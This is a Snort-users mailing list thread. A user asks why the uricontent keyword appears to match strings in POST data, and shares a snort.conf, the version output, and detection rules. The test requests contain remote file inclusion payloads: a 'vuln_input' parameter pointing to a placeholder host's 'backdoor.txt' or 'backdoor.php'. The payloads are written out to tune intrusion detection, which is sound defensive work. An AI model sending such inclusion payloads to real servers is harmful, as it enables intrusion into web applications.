Sorry for the latence.
The problem was I didn't understood what is the uricontent for snort.
here my snort.conf :
[SNORT.CONF]
var HOME_NET any
var EXTERNAL_NET any
var HTTP_SERV 192.168.1.4
portvar HTTP_PORTS 80
preprocessor stream5_global: max_tcp 8192, track_tcp yes, \
track_udp no
preprocessor stream5_tcp: policy first, use_static_footprint_sizes
preprocessor http_inspect: global \
iis_unicode_map unicode.map 1252
preprocessor http_inspect_server: server default \
profile all ports { 80 8080 8180 } oversize_dir_length 500
alert tcp $EXTERNAL_NET any -> $HTTP_SERV $HTTP_PORTS (msg:".php and
http in uri"; flow:established,to_server; uricontent:".php";
uricontent:"http"; sid:456
; )
[/SNORT.CONF]
snort -V :
[VERSION]
,,_ -*> Snort! <*-
o" )~ Version 2.8.0.1 (Build 72)
'''' By Martin Roesch & The Snort Team:
http://www.snort.org/team.html
(C) Copyright 1998-2007 Sourcefire Inc., et al.
Using PCRE version: 6.7 04-Jul-2006
[/VERSION]
now look at the test i've done :
first request is something like that (look at the pcap provided for the
real packet) :
[REQUEST1]
GET /vuln_script.php&vuln_input=http://a.b/backdoor.txt HTTP/1.1
Host: 192.168.1.4
[...]
[/REQUEST1]
REQUEST1 match the rules and it triggers an alert, it s ok.
this one:
[REQUEST2]
POST /vuln_script.php HTTP/1.1
Host: 192.168.1.4
[...]
vuln_input=http://a.b/backdoor.txt
[/REQUEST2]
request2 doesn't triggers an alert, I suppose it s because there is only
the string ".php" in the uri and "http" is in the POST data but not in
the uri, it s alright.
well, at this point there is no problem but my confusion begin at the
request3.
[REQUEST3]
POST /vuln_script.php HTTP/1.1
Host: 192.168.1.4
[...]
vuln_input=http://a.b/backdoor.php
[/REQUEST3]
It matchs and triggers an alert and there is not "http" string in the
uri whereas only in the POST data.
So why uricontent is looking deep inside the request here but not
before. I thought it was for "content" to look at POST data.
Here all the pcap http://www.indahax.com/snort/
Keith Konecnik a écrit :
It could be many things at this point. Can you provide a pcap, the
snort.conf in use (with the rules in question),
and the output of snort -V
Cheers,
Keith
pierz wrote:
Ok you probably didn't understood my crappy english.
The input/parameter/whatever of name 'check' with the value 'pierz' is
not a part of the uri. This packet doesn't have to alert.
Another example, look at this two rulz :
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:".php in
uri"; flow:established,to_server; uricontent:".php"; nocase; sid:123; )
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:".php and
http in uri"; flow:established,to_server; uricontent:".php"; nocase;
uricontent:"http"; nocase; sid:456; )
Now, look at the following packets, they are only detected by the 1st
rulz :
[PACKET1]
POST / HTTP/1.1
Host: 192.168.1.2
Content-type: application/x-www-form-urlencoded
postinput=.php
[/PACKET1]
[PACKET2]
GET /somefile.php HTTP/1.1
Host: 192.168.1.2
[/PACKET2]
[PACKET3]
POST /somefile.php HTTP/1.1
Host: 192.168.1.2
Content-type: application/x-www-form-urlencoded
backdoor=http
[/PACKET3]
Ok, i think PACKET1 should not be detected regarding the snort rulz,
cause postinput=.php is not a part of the uri.
Now if the PACKET1 match the first rulz, i don't understand why PACKET3
don't match the second rulz !
I'm using the lastest version of snort.
-------------------------------------------------------------------------
SF.Net email is sponsored by:
Check out the new SourceForge.net Marketplace.
It's the best place to buy or sell services
for just about anything Open Source.
http://ad.doubleclick.net/clk;164216239;13503038;w?http://sf.net/marketplace
_______________________________________________
Snort-users mailing list
Snort-users@lists.sourceforge.net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users
-------------------------------------------------------------------------
This SF.net email is sponsored by: Microsoft
Defy all challenges. Microsoft(R) Visual Studio 2008.
http://clk.atdmt.com/MRT/go/vse0120000070mrt/direct/01/
_______________________________________________
Snort-users mailing list
Snort-users@lists.sourceforge.net
Go to this URL to change user options or unsubscribe:
https://lists.sourceforge.net/lists/listinfo/snort-users
Snort-users list archive:
http://www.geocrawler.com/redir-sf.php3?list=snort-users
